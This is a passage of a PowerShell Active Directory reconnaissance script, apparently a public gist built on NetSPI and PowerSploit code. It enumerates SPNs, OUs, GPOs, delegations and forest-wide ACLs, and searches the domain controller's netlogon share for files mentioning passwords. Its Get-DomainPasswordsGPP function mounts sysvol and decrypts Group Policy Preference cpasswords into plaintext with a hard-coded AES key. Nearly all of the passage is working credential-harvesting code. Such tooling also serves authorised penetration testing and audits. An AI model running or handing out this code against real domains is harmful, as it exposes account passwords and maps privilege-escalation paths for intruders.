$DomainComputers_Prop_Key_C = $DomainComputers_Key_PassFilter | measure | select count -ExpandProperty count | |
Write-Output " - Found $DomainComputers_Prop_Key_C non-default property names containing `"key`"" | |
# Get domain computers used to run services on domain systems | |
# Should add group memberships too | |
Write-Output "Grabbing Computer SPN Information..." | |
$DomainComputers_SPNs = $DomainComputers | Where ServicePrincipalNames -notlike "" | Select name,samaccountname,description,Enabled,whenCreated,PasswordLastSet,PasswordNeverExpires,ServicePrincipalNames| | |
ForEach-Object { | |
# Get and create fields | |
$name = $_.name; | |
$samaccountname = $_.samaccountname; | |
$spns = $_.ServicePrincipalNames; | |
$Enabled = $_.Enabled; | |
$whencreated = $_.whenCreated | |
$PasswordLastSet = $_.PasswordLastSet | |
$Description = $_.description | |
$PasswordNeverExpires = $_.PasswordNeverExpires | |
$spns | | |
# Parse SPNs and display results | |
ForEach-Object { | |
$SPNObject = New-Object PSObject | |
$SPNObject | add-member Noteproperty Name $name | |
$SPNObject | add-member Noteproperty SamAccountName $samaccountname | |
$SPNObject | add-member Noteproperty Enabled $Enabled | |
$SPNObject | add-member Noteproperty whenCreated $whenCreated | |
$SPNObject | add-member Noteproperty PasswordLastSet $PasswordLastSet | |
$SPNObject | add-member Noteproperty PasswordNeverExpires $PasswordNeverExpires | |
$SPNObject | add-member Noteproperty Description $Description | |
$SPNObject | add-member Noteproperty ServicePrincipalName $_ | |
$SPNObject | |
} | |
} | |
$DomainComputers_SPNs | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Computers-SPNs.csv" | |
$DomainComputers_SPNs_C = $DomainComputers_SPNs | measure | select count -ExpandProperty count | |
Write-Output " - Found $DomainComputers_SPNs_C computer SPNs" | |
# ------------------------------------------------ | |
# Group Policy and OU Targets | |
# ------------------------------------------------ | |
Write-Output "Getting OU and Group Policy Information..." | |
# Get OUs | |
$OUs = Get-ADOrganizationalUnit -Filter * -Properties * | |
$OUs_C = $OUs | measure | select count -ExpandProperty count | |
$OUs | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-OUs.csv" | |
Write-Output " - Found $OUs_C Organizational Units" | |
# Get GPOs | |
$GPOAll = Get-GPO -All | |
$GPOAll_C = $GPOAll | measure | select count -ExpandProperty count | |
$GPOAll | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-GPOs.csv" | |
Write-Output " - Found $GPOALL_C GPOs" | |
# Get GPOs linked to OUs | |
Write-Output "Getting GPOs Linked to OUs..." | |
$LinkedGPO2OUList = $OUs | Where-Object LinkedGroupPolicyObjects -NotLike "" | | |
ForEach-Object { | |
# Grab OU information | |
$GPOLinks = $_.LinkedGroupPolicyObjects | |
$OU_name = $_.name | |
$OU_Description = $_.Description | |
$OU_DisplayName = $_.DisplayName | |
$OU_DistinguishedName = $_.DistinguishedName | |
$OU_GUID = $_.GUID | |
$OU_Created = $_.Created | |
$OU_Modified = $_.Modified | |
$OU_whenChanged = $_.WhenChanged | |
$OU_whenCreated = $_.WhenCreated | |
$OU_ProtectedFromAccidentalDeletion = $_.ProtectedFromAccidentalDeletion | |
$OU_sDRightsEffective = $_.sDRightsEffective | |
$OU_isDeleted = $_.isDeleted | |
$GPOLinks | | |
ForEach-Object{ | |
$GUID = $_.split("{")[1].split("}")[0] | |
try{ | |
# Grab linked GPO information | |
$GPO = Get-GPO -Guid "{$GUID}" | |
$LinkedGPO_DisplayName = $GPO.DisplayName | |
$LinkedGPO_Description = $GPO.Description | |
$LinkedGPO_Domain = $GPO.DomainName | |
$LinkedGPO_Owner = $GPO.Owner | |
$LinkedGPO_GUID = $GUID | |
$LinkedGPO_GPOStatus = $GPO.GPOStatus | |
$LinkedGPO_CreationTime = $GPO.CreationTime | |
$LinkedGPO_ModificationTime = $GPO.ModificationTime | |
# Create PS OBJECT | |
$LinkedGPO2OU = New-Object PSObject | |
$LinkedGPO2OU | add-member Noteproperty OU_name $OU_name | |
$LinkedGPO2OU | add-member Noteproperty OU_Description $OU_Description | |
$LinkedGPO2OU | add-member Noteproperty OU_DisplayName $OU_DisplayName | |
$LinkedGPO2OU | add-member Noteproperty OU_DistinguishedName $OU_DistinguishedName | |
$LinkedGPO2OU | add-member Noteproperty OU_GUID $OU_GUID | |
$LinkedGPO2OU | add-member Noteproperty OU_Created $OU_Created | |
$LinkedGPO2OU | add-member Noteproperty OU_Modified $OU_Modified | |
$LinkedGPO2OU | add-member Noteproperty OU_whenChanged $OU_whenChanged | |
$LinkedGPO2OU | add-member Noteproperty OU_whenCreated $OU_whenCreated | |
$LinkedGPO2OU | add-member Noteproperty OU_ProtectedFromAccidentalDeletion $OU_ProtectedFromAccidentalDeletion | |
$LinkedGPO2OU | add-member Noteproperty OU_sDRightsEffective $OU_sDRightsEffective | |
$LinkedGPO2OU | add-member Noteproperty OU_isDeleted $OU_isDeleted | |
$LinkedGPO2OU | add-member Noteproperty LinkedGPO_DisplayName $LinkedGPO_DisplayName | |
$LinkedGPO2OU | add-member Noteproperty LinkedGPO_Description $LinkedGPO_Description | |
$LinkedGPO2OU | add-member Noteproperty LinkedGPO_Domain $LinkedGPO_Domain | |
$LinkedGPO2OU | add-member Noteproperty LinkedGPO_Owner $LinkedGPO_Owner | |
$LinkedGPO2OU | add-member Noteproperty LinkedGPO_GUID $LinkedGPO_GUID | |
$LinkedGPO2OU | add-member Noteproperty LinkedGPO_GPOStatus $LinkedGPO_GPOStatus | |
$LinkedGPO2OU | add-member Noteproperty LinkedGPO_CreationTime $LinkedGPO_CreationTime | |
$LinkedGPO2OU | add-member Noteproperty LinkedGPO_ModificationTime $LinkedGPO_ModificationTime | |
# Return ps object | |
$LinkedGPO2OU | |
}catch{ | |
} | |
} | |
} | |
$LinkedGPO2OUList_C = $LinkedGPO2OUList | measure | select count -ExpandProperty count | |
$LinkedGPO2OUList | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-GPOsLinked2OUs.csv" | |
Write-Output " - Found $LinkedGPO2OUList_C links found" | |
# Get passwords stored in group policy preference files | |
Write-Output "Checking for passwords in Group Policy Preference Files..." | |
$GPP = Get-DomainPasswordsGPP -CurrentPath $CurrentPath -ErrorAction SilentlyContinue | |
$GPP | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-GPPFiles.csv" | |
$GPP_C = $GPP | Where-Object File -NotLike "" | measure | select count -ExpandProperty count | |
Write-Output " - Found $GPP_C Group Policy Preference Files" | |
$GPP_PW = $GPP | Where-Object CPassword -NotLike "" | |
$GPP_PW_C = $GPP_PW | measure | select count -ExpandProperty count | |
Write-Output " - Found $GPP_PW_C passwords found in Group Policy Preference Files" | |
# List netlogon files | |
# $CurrentPath = pwd | select path -ExpandProperty path | |
Write-Output "Checking for NetLogon files..." | |
$TargetDC1 = "\\" + (Get-ADDomainController | select HostName -First 1 -ExpandProperty Hostname) | |
$set1 = "abcdefghijklmnopqrstuvwxyz".ToCharArray(); | |
$result1 += $set1 | Get-Random -Count 10 | |
$DriveName1 = [String]::Join("",$result1) | |
$DrivePath1 = "$TargetDC1\netlogon" | |
if($Credential.UserName){ | |
try { New-PSDrive -PSProvider FileSystem -Name $DriveName1 -Root $DrivePath1 -Credential $Credential -ErrorAction Stop | Out-Null } | |
catch { Write-Output " - Failed to mount netlogon path."; break} | |
}else{ | |
try { New-PSDrive -PSProvider FileSystem -Name $DriveName1 -Root $DrivePath1 -ErrorAction Stop | Out-Null} | |
catch { Write-Output " - Failed to mount netlogon path."; break} | |
} | |
$Files = Get-ChildItem -Recurse $DrivePath1 -File | Select FullName | |
$Files_C = ($Files | measure) | measure | select count -ExpandProperty count | |
$Files | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-NetlogonFiles.csv" | |
cd $CurrentPath | |
Write-Output " - Found $Files_C files in netlogon folders/files" | |
# Check files for passwords in files | |
$KeyWordTargets = @("password","net ") | |
$PotentialPasswords = $Files | | |
ForEach-Object { | |
$TargetFile = $_.fullname | |
$TestMatch = Select-String -List $KeyWordTargets $TargetFile | |
if($TestMatch -notlike ""){ | |
$TargetFile | |
} | |
} | |
$PotentialPasswords_C = $PotentialPasswords | measure | select count -ExpandProperty count | |
Write-Output " - Found $PotentialPasswords_C netlogon files that may contain passwords" | |
$PotentialPasswords | Out-File "$CurrentPath\$AdDomain\$AdDomain-NetlogonFiles-PW.csv" | |
Remove-PSDrive $DriveName1 | |
# Get group policy settings - This should be optional | |
# Get-GPOReport -All -ReportType Xml | |
# Get policies with local admins defined and associated ou | |
# groups.xml and GptTmpl.inf | |
# Get computer in a particular OU | |
# Foreign Users | |
# Foreign Groups | |
# Get gpo delegations | |
Write-Output "Checking for GPO delegations..." | |
$GPODelegationLogons = Get-GPODelegation -Verbose | |
$GPODelegationLogons_C = $GPODelegationLogons | measure | select count -ExpandProperty count | |
Write-Output " - Found $GPODelegationLogons_C GPO delegations" | |
$GPODelegationLogons | Out-File "$CurrentPath\$AdDomain\$AdDomain-GPO-Delegations.csv" | |
# Get spn write | |
Write-Output "Checking for users that can write SPNs..." | |
$SPNWriteUsers = Get-WriteSPNUsers -Verbose | |
$SPNWriteUsers_C = $SPNWriteUsers | measure | select count -ExpandProperty count | |
Write-Output " - Found $SPNWriteUsers_C users can write SPNs" | |
$SPNWriteUsers | Out-File "$CurrentPath\$AdDomain\$AdDomain-Users-WriteSPNs.csv" | |
# Get ACLs | |
Write-Output "Dumping list of ACLs..." | |
$AdACLs = Invoke-ACLScanner -Verbose -Domain $AdDomain -OutFile "$CurrentPath\$AdDomain\$AdDomain-Users-ACLs-Final.csv" | |
$AdACLs_C = $AdACLs | measure | select count -ExpandProperty count | |
Write-Output " - Found $AdACLs_C ACLs" | |
} | |
End | |
{ | |
<# | |
# Remove AD PS Drive | |
if($username -and $password){ | |
cd $CurrentPath | |
Write-Output "Disconnecting from $DomainController" | |
Remove-PSDrive $DriveName | |
} | |
#> | |
} | |
} | |
function Get-WriteSPNUsers | |
{ | |
<# | |
Author: Itamar Mizrahi (@MrAnde7son) | |
License: GNU v3 | |
Required Dependencies: None | |
Optional Dependencies: None | |
#> | |
<# | |
.SYNOPSIS | |
Searches and prints users with "Write servicePrincipalName" right. | |
Author: Itamar Mizrahi (@MrAnde7son) | |
License: GNU v3 | |
Required Dependencies: None | |
Optional Dependencies: None | |
.DESCRIPTION | |
.PARAMETER Domain | |
Domain to search, default is current user's domain. | |
.EXAMPLE | |
#> | |
[CmdletBinding()] | |
param | |
( | |
[parameter(Mandatory=$False, Position=0, ValueFromPipeline=$True)] | |
[string]$Domain = $env:USERDOMAIN | |
) | |
$writeSPNUsers = @() | |
$users = Get-ADUser -Filter * -Server $DOMAIN | select distinguishedname | |
foreach ($user in $users) | |
{ | |
$userAD = "AD:\" + $user.distinguishedname | |
$writeSPNUsers += ((Get-Acl $userAD).access | ?{$_.ObjectType -eq "f3a64788-5306-11d1-a9c5-0000f80367c1"} | select IdentityReference).IdentityReference.value | |
#Write-Host $user.distinguishedname | |
} | |
$writeSPNUsers | |
} | |
function Get-DomainPasswordsGPP | |
{ | |
<# | |
SCRIPT | |
Get-DomainPasswordsGPP.ps1 | |
AUTHOR | |
Chris Campbell (@obscuresec) | |
ADPS MOD AUTHOR | |
Scott Sutherland (@_nullbind), NetSPI 2015 | |
DESCRIPTION | |
This script will recover plaintext passwords and other information for accounts pushed | |
through Group Policy Preferences. The summary of changes made to Chris's original script include: | |
- Added support for the use of alternative credentials so users can connect to domain controllers | |
that their computer is not associated with. | |
- Replaced recursive directory search with list of default file locations to speed up file search. | |
USAGE EXAMPLES | |
Get-DomainPasswordsGPP | |
Get-DomainPasswordsGPP -Verbose | |
Get-DomainPasswordsGPP -Verbose -DomainController IP -useranme domain\user -password 'passwordhere' | |
REFERENCES | |
Most of the code here is based on the Get-GPPPassword function written by Chris Campbell (@obscuresec). | |
https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1 | |
#> | |
[CmdletBinding(DefaultParametersetName="Default")] | |
Param( | |
[Parameter(Mandatory=$false, | |
HelpMessage="Domain user to authenticate with domain\user.")] | |
[string]$username, | |
[Parameter(Mandatory=$false, | |
HelpMessage="Domain password to authenticate with domain\user.")] | |
[string]$password, | |
[Parameter(Mandatory=$false, | |
HelpMessage="Domain controller for Domain and Site that you want to query against.")] | |
[string]$DomainController, | |
[Parameter(Mandatory=$false, | |
HelpMessage="Original execute path.")] | |
[string]$CurrentPath | |
) | |
Begin | |
{ | |
# Create PS Credential object | |
if($Password){ | |
$secpass = ConvertTo-SecureString $Password -AsPlainText -Force | |
$Credential = New-Object System.Management.Automation.PSCredential ($Username, $secpass) | |
} | |
# Ensure that machine is domain joined and script is running as a domain account, or a credential has been provided | |
# if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) -and (-not $Credential) ) { | |
# throw 'Machine is not a domain member or User is not a member of the domain.' | |
# return | |
#} | |
# ---------------------------------------------------------------- | |
# Define helper function that decodes and decrypts password | |
# ---------------------------------------------------------------- | |
function Get-DecryptedCpassword { | |
[CmdletBinding()] | |
Param ( | |
[string] $Cpassword | |
) | |
try { | |
#Append appropriate padding based on string length | |
$Mod = ($Cpassword.length % 4) | |
switch ($Mod) { | |
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)} | |
'2' {$Cpassword += ('=' * (4 - $Mod))} | |
'3' {$Cpassword += ('=' * (4 - $Mod))} | |
} | |
$Base64Decoded = [Convert]::FromBase64String($Cpassword) | |
#Create a new AES .NET Crypto Object | |
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider | |
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8, | |
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) | |
#Set IV to all nulls to prevent dynamic generation of IV value | |
$AesIV = New-Object Byte[]($AesObject.IV.Length) | |
$AesObject.IV = $AesIV | |
$AesObject.Key = $AesKey | |
$DecryptorObject = $AesObject.CreateDecryptor() | |
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length) | |
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock) | |
} | |
catch {Write-Error $Error[0]} | |
} | |
# ---------------------------------------------------------------- | |
# Authenticate to DC and mount sysvol share | |
# ---------------------------------------------------------------- | |
# Set target DC | |
if($DomainController){ | |
$TargetDC = "\\$DomainController" | |
}else{ | |
$TargetDC = "\\" + (Get-ADDomainController | select HostName -First 1 -ExpandProperty Hostname) | |
} | |
# Create randomish name for dynamic mount point | |
$set = "abcdefghijklmnopqrstuvwxyz".ToCharArray(); | |
$result += $set | Get-Random -Count 10 | |
$DriveName2 = [String]::Join("",$result) | |
$DrivePath2 = "$TargetDC\sysvol" | |
# Map a temp drive to the DC sysvol share | |
If ($Credential.UserName){ | |
# Mount the drive | |
New-PSDrive -PSProvider FileSystem -Name $DriveName2 -Root $DrivePath2 -Credential $Credential | Out-Null | |
}else{ | |
# Create a temp drive mapping | |
New-PSDrive -PSProvider FileSystem -Name $DriveName2 -Root $DrivePath2 | Out-Null | |
} | |
} | |
Process | |
{ | |
# Verify temp drive mounted | |
$DriveCheck = Get-PSDrive | Where { $_.name -like "$DriveName2"} | |
if($DriveCheck) { | |
#Write-Output " - $Drivename created." | |
}else{ | |
Write-Verbose " - Failed to mount $DriveName2 to $DrivePath2." | |
return | |
} | |
# ---------------------------------------------------------------- | |
# Find, download, parse, decrypt, and display results | |
# ---------------------------------------------------------------- | |
# Setup temp drive name | |
$DriveLetter2 = $DriveName2+":" | |
# Create table to store gpp passwords | |
$TableGPPPasswords = New-Object System.Data.DataTable | |
$TableGPPPasswords.Columns.Add('NewName') | Out-Null | |
$TableGPPPasswords.Columns.Add('Changed') | Out-Null | |
$TableGPPPasswords.Columns.Add('UserName') | Out-Null | |
$TableGPPPasswords.Columns.Add('CPassword') | Out-Null | |
$TableGPPPasswords.Columns.Add('Password') | Out-Null | |
$TableGPPPasswords.Columns.Add('File') | Out-Null | |
# Create table to store default group policy configuration file paths | |
$TableDefaultGPFilePaths = New-Object system.data.datatable | |
$TableDefaultGPFilePaths.Columns.Add('filename') | Out-Null | |
$TableDefaultGPFilePaths.Columns.Add('filepath') | Out-Null | |
# Add default group policy configuration file paths to table | |
$TableDefaultGPFilePaths.Rows.Add("Groups.xml","\Machine\Preferences\Groups\Groups.xml") | Out-Null | |
$TableDefaultGPFilePaths.Rows.Add("Groups.xml","\User\Preferences\Groups\Groups.xml") | Out-Null | |
$TableDefaultGPFilePaths.Rows.Add("Services.xml","\Machine\Preferences\Services\Services.xml") | Out-Null | |
$TableDefaultGPFilePaths.Rows.Add("Services.xml","\User\Preferences\Services\Services.xml") | Out-Null | |
$TableDefaultGPFilePaths.Rows.Add("Scheduledtasks.xml","\Machine\Preferences\Scheduledtasks\Scheduledtasks.xml") | Out-Null | |
$TableDefaultGPFilePaths.Rows.Add("Scheduledtasks.xml","\User\Preferences\Scheduledtasks\Scheduledtasks.xml") | Out-Null | |
$TableDefaultGPFilePaths.Rows.Add("DataSources.xml","\Machine\Preferences\DataSources\DataSources.xml") | Out-Null | |
$TableDefaultGPFilePaths.Rows.Add("DataSources.xml","\User\Preferences\DataSources\DataSources.xml") | Out-Null | |
$TableDefaultGPFilePaths.Rows.Add("Printers.xml","\Machine\Preferences\Printers\Printers.xml") | Out-Null | |
$TableDefaultGPFilePaths.Rows.Add("Printers.xml","\User\Preferences\Printers\Printers.xml") | Out-Null | |
$TableDefaultGPFilePaths.Rows.Add("Drives.xml","\Machine\Preferences\Drives\Drives.xml") | Out-Null | |
$TableDefaultGPFilePaths.Rows.Add("Drives.xml","\User\Preferences\Drives\Drives.xml") | Out-Null | |
# Create table to store verified files | |
$TableGPFilePaths = New-Object system.data.datatable | |
$TableGPFilePaths.Columns.Add('filename') | Out-Null | |
$TableGPFilePaths.Columns.Add('filepath') | Out-Null | |
$TableGPFilePaths.Clear() | |
# Determine policies folder path | |
$ADSDir = pwd | select path -ExpandProperty path | |
cd $CurrentPath | |
$GpoDomain = Get-ChildItem "$DrivePath2" | Select-Object name -First 1 -ExpandProperty name | |
$GpoPoliciesPath = "$DrivePath2\$GpoDomain\Policies" | |
# Iterate through each policy folder | |
Get-ChildItem $GpoPoliciesPath | Select-Object fullname -ExpandProperty fullname | | |
ForEach-Object { | |
$GpPolicyPath = $_ | |
# Iterate through each potential gpp file path | |
$TableDefaultGPFilePaths | | |
ForEach-Object{ | |
# Create full path to gp configuraiton file | |
$GpFile = $_.filename | |
$GpPath = $_.filepath | |
$GpFullPath = "$GpPolicyPath$GpPath" | |
# Check if file exists | |
if(Test-Path $GpFullPath -ErrorAction SilentlyContinue) | |
{ | |
# Add files that exist to table | |
$TableGPFilePaths.Rows.Add($GpFile,$GpFullPath) | Out-Null | |
} | |
} | |
} | |
# Check if files were found | |
$TableGPFilePathCount = $TableGPFilePaths.Rows | measure | select count -ExpandProperty count | |
if ($TableGPFilePathCount -eq 0) { | |
#Write-Verbose " - Found 0 group policy preference files" | |
}else{ | |
#Write-Verbose " - Found $TableGPFilePathCount group policy preference files" | |
} | |
# Iterate through each verified group policy file | |
$TableGPFilePaths | | |
ForEach-Object { | |
[string]$FileName = $_.filename | |
[string]$FilePath = $_.filepath | |
# Get file content | |
$FileContentpre = Get-Content -Path "$FilePath" | |
[xml]$FileContent = $FileContentpre.Trim() | |
# Parse Drives.xml | |
if($FileName -like "Drives.xml"){ | |
#Write-Verbose " - Parsing $FileName..." | |
$FileContent.Drives.Drive | | |
ForEach-Object { | |
[string]$Username = $_.properties.username | |
[string]$CPassword = $_.properties.cpassword | |
[string]$Password = Get-DecryptedCpassword $Cpassword | |
[datetime]$Changed = $_.changed | |
[string]$NewName = "" | |
# Add the results to the data table | |
$TableGPPPasswords.Rows.Add($NewName,$Changed,$Username,$Cpassword,$Password,$FilePath) | Out-Null | |
} | |
} | |
# Parse Groups.xml | |
if($FileName -eq "Groups.xml"){ | |
#Write-Verbose " - Parsing $FileName..." | |
$FileContent.Groups.User | | |
ForEach-Object { | |
[string]$Username = $_.properties.username | |
[string]$CPassword = $_.properties.cpassword | |
[string]$Password = Get-DecryptedCpassword $Cpassword | |
[datetime]$Changed = $_.changed | |
[string]$NewName = $_.properties.newname | |
# Add the results to the data table | |
$TableGPPPasswords.Rows.Add($NewName,$Changed,$Username,$Cpassword,$Password,$FilePath) | Out-Null | |
} | |
} | |
# Parse Services.xml | |
if($FileName -eq "Services.xml"){ | |
#Write-Verbose " - Parsing $FileName..." | |
$FileContent.NTServices.NTService | | |
ForEach-Object { | |
[string]$Username = $_.properties.accountname | |
[string]$CPassword = $_.properties.cpassword | |
[string]$Password = Get-DecryptedCpassword $Cpassword | |
[datetime]$Changed = $_.changed | |
[string]$NewName = "" | |
# Add the results to the data table | |
$TableGPPPasswords.Rows.Add($NewName,$Changed,$Username,$Cpassword,$Password,$FilePath) | Out-Null | |
} | |
} | |
# Parse ScheduledTasks.xml | |
if($FileName -eq "ScheduledTasks.xml"){ | |
#Write-Verbose " - Parsing $FileName..." | |
$FileContent.ScheduledTasks.Task | | |
ForEach-Object { | |
[string]$Username = $_.properties.runas | |
[string]$CPassword = $_.properties.cpassword | |
[string]$Password = Get-DecryptedCpassword $Cpassword | |
[datetime]$Changed = $_.changed | |
[string]$NewName = "" | |
# Add the results to the data table | |
$TableGPPPasswords.Rows.Add($NewName,$Changed,$Username,$Cpassword,$Password,$FilePath) | Out-Null | |
} | |
} | |
# Parse DataSources.xml | |
if($FileName -eq "DataSources.xml"){ | |
#Write-Verbose " - Parsing $FileName..." | |
$FileContent.DataSources.DataSource | | |
ForEach-Object { | |
[string]$Username = $_.properties.username | |
[string]$CPassword = $_.properties.cpassword | |
[string]$Password = Get-DecryptedCpassword $Cpassword | |
[datetime]$Changed = $_.changed | |
[string]$NewName = "" | |
# Add the results to the data table | |
$TableGPPPasswords.Rows.Add($NewName,$Changed,$Username,$Cpassword,$Password,$FilePath) | Out-Null | |
} | |
} | |
# Parse Printers.xml | |
if($FileName -eq "Printers.xml"){ | |
#Write-Verbose " - Parsing $FileName..." | |
$FileContent.Printers.SharedPrinter | | |
ForEach-Object { | |
[string]$Username = $_.properties.username | |
[string]$CPassword = $_.properties.cpassword | |
[string]$Password = Get-DecryptedCpassword $Cpassword | |
[string]$Changed = [datetime]::FromFileTimeUTC([string]$_.changed) | |
[string]$NewName = "" | |
# Add the results to the data table | |
$TableGPPPasswords.Rows.Add($NewName,$Changed,$Username,$Cpassword,$Password,$FilePath) | Out-Null | |
} | |
} | |
} | |
# Remove the temp drive mapping | |
#Write-Verbose " - Removing temp drive $DriveName2..." | |
Remove-PSDrive $DriveName2 | |
# Display results | |
$PasswordCount = $TableGPPPasswords | Sort-Object username -Unique | Select-Object username | Where-Object {$_.username -ne ""} | Measure-Object | Select-Object Count -ExpandProperty Count | |
if($PasswordCount -ne 0) | |
{ | |
#Write-Output " - $PasswordCount domain group policy preference passwords were found." | |
Return $TableGPPPasswords | |
}else{ | |
#Write-Output " - 0 domain group policy preference passwords were found." | |
} | |
} | |
END | |
{ | |
} | |
} | |
function Get-WriteSPNUsers | |
{ | |
<# | |
Author: Itamar Mizrahi (@MrAnde7son) | |
License: GNU v3 | |
Required Dependencies: None | |
Optional Dependencies: None | |
#> | |
<# | |
.SYNOPSIS | |
Searches and prints users with "Write servicePrincipalName" right. | |
Author: Itamar Mizrahi (@MrAnde7son) | |
License: GNU v3 | |
Required Dependencies: None | |
Optional Dependencies: None | |
.DESCRIPTION | |
.PARAMETER Domain | |
Domain to search, default is current user's domain. | |
.EXAMPLE | |
#> | |
[CmdletBinding()] | |
param | |
( | |
[parameter(Mandatory=$False, Position=0, ValueFromPipeline=$True)] | |
[string]$Domain = $env:USERDOMAIN | |
) | |
$writeSPNUsers = @() | |
$users = Get-ADUser -Filter * -Server $DOMAIN | select distinguishedname | |
foreach ($user in $users) | |
{ | |
$userAD = "AD:\" + $user.distinguishedname | |
$writeSPNUsers += ((Get-Acl $userAD).access | ?{$_.ObjectType -eq "f3a64788-5306-11d1-a9c5-0000f80367c1"} | select IdentityReference).IdentityReference.value | |
#Write-Host $user.distinguishedname | |
} | |
$writeSPNUsers | |
} | |
function Invoke-ACLScanner | |
{ | |
<# | |
Author: Itamar Mizrahi (@MrAnde7son) | |
License: GNU v3 | |
Required Dependencies: None | |
Optional Dependencies: None | |
#> | |
<# | |
.SYNOPSIS | |
Returns all ACE on every object in the current forest. | |
Author: Itamar Mizrahi (@MrAnde7son) | |
License: GNU v3 | |
Required Dependencies: None | |
Optional Dependencies: None | |
.DESCRIPTION | |
.PARAMETER | |
.EXAMPLE | |
PS C:\> Invoke-ACLScanner | |
Returns all ACE on every object in the current forest. | |
#> | |
[CmdletBinding()] | |
Param ( | |
[Parameter( Position = 0)] | |
[String] | |
$OutFile = '', | |
[Parameter( Position = 1)] | |
[String] | |
$Domain | |
) | |
$ACEDictionary = @() | |
$Forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() | |
$ExtendedRights = "LDAP://CN=Extended-Rights," + ($Forest.Schema.Name.Split(",")[1..$Forest.Schema.Name.Length] -join ",") | |
$Entry = New-Object System.DirectoryServices.DirectoryEntry($ExtendedRights) | |
$Searcher = New-Object System.DirectoryServices.DirectorySearcher($Entry) | |
$Searcher.SearchScope = "OneLevel" | |
$ACEs = $Searcher.FindAll() | |
foreach ($ace in $ACEs){ | |
$entry = New-Object PSObject | |
$entry | Add-Member NoteProperty 'Name' $ace.Properties.cn | |
$entry | Add-Member NoteProperty 'Guid' $ace.Properties.rightsguid | |
$ACEDictionary += $entry | |
} | |
$DomainList = @($Forest.Domains | % {$_.GetDirectoryEntry() }) | |
$Results = @() | |
foreach ($Domain in $DomainList){ | |
$Searcher = New-Object System.DirectoryServices.DirectorySearcher($Domain) | |
$Filter = "(objectCategory=*)" | |
$Searcher.Filter = $Filter | |
$Searcher.PageSize = 1000 | |
$Searcher.SearchScope = "Subtree" | |
$Results += $Searcher.FindAll() | |
} | |
foreach ($entry in $Results){ | |
$owner = $entry.GetDirectoryEntry().ObjectSecurity.Owner | |
$rights = $entry.GetDirectoryEntry().ObjectSecurity.Access | |
foreach ($right in $rights){ | |
$ace = $ACEDictionary | ? { $_.Guid -eq $right.ObjectType} | |
if($ace -eq $null){ | |
$ExtendedRightName = '' | |
} | |
else{ | |
$ExtendedRightName = $ace.Name[0] | |
} | |
$extendedRight = New-Object psobject | |
$extendedRight | Add-Member NoteProperty 'Owner' $owner | |
$extendedRight | Add-Member NoteProperty 'ActiveDirectoryRights' $right.ActiveDirectoryRights | |
$extendedRight | Add-Member NoteProperty 'InheritanceType' $right.InheritanceType | |
$extendedRight | Add-Member NoteProperty 'ObjectType' $right.ObjectType | |
$extendedRight | Add-Member NoteProperty 'ExtendedRightName' $ExtendedRightName | |
$extendedRight | Add-Member NoteProperty 'InheritedObjectType' $right.InheritedObjectType | |
$extendedRight | Add-Member NoteProperty 'ObjectFlags' $right.ObjectFlags | |
$extendedRight | Add-Member NoteProperty 'AccessControlType' $right.AccessControlType | |
$extendedRight | Add-Member NoteProperty 'IdentityReference' $right.IdentityReference | |
$extendedRight | Add-Member NoteProperty 'IsInherited' $right.IsInherited | |
$extendedRight | Add-Member NoteProperty 'InheritanceFlags' $right.InheritanceFlags | |
$extendedRight | Add-Member NoteProperty 'PropagationFlags' $right.None | |
if($OutFile -ne '') { | |
$extendedRight | |
$extendedRight | Export-Csv -Path $OutFile -Append -force | |
} | |
else { | |
$extendedRight | Export-Csv -Path ".\acl.csv" -Append -force | |
} | |
} | |
} | |
} | |
# -and $owner -notmatch "A_" -and $owner -notmatch "Domain Admins" -and $owner -notmatch "Enterprise Admins" -and $owner -notmatch "Administrators" | |
function Import-ADPSModule | |
{ | |
[CmdletBinding()] | |
Param() | |
# Commands to obtain bytes as string | |
#$ADModuleBytes = [System.IO.File]::ReadAllBytes("C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.ActiveDirectory.Management\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.ActiveDirectory.Management.dll") | |
#$ADModuleString = [System.Convert]::ToBase64String($ADModuleBytes) | |
# DLL bytes as a string |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment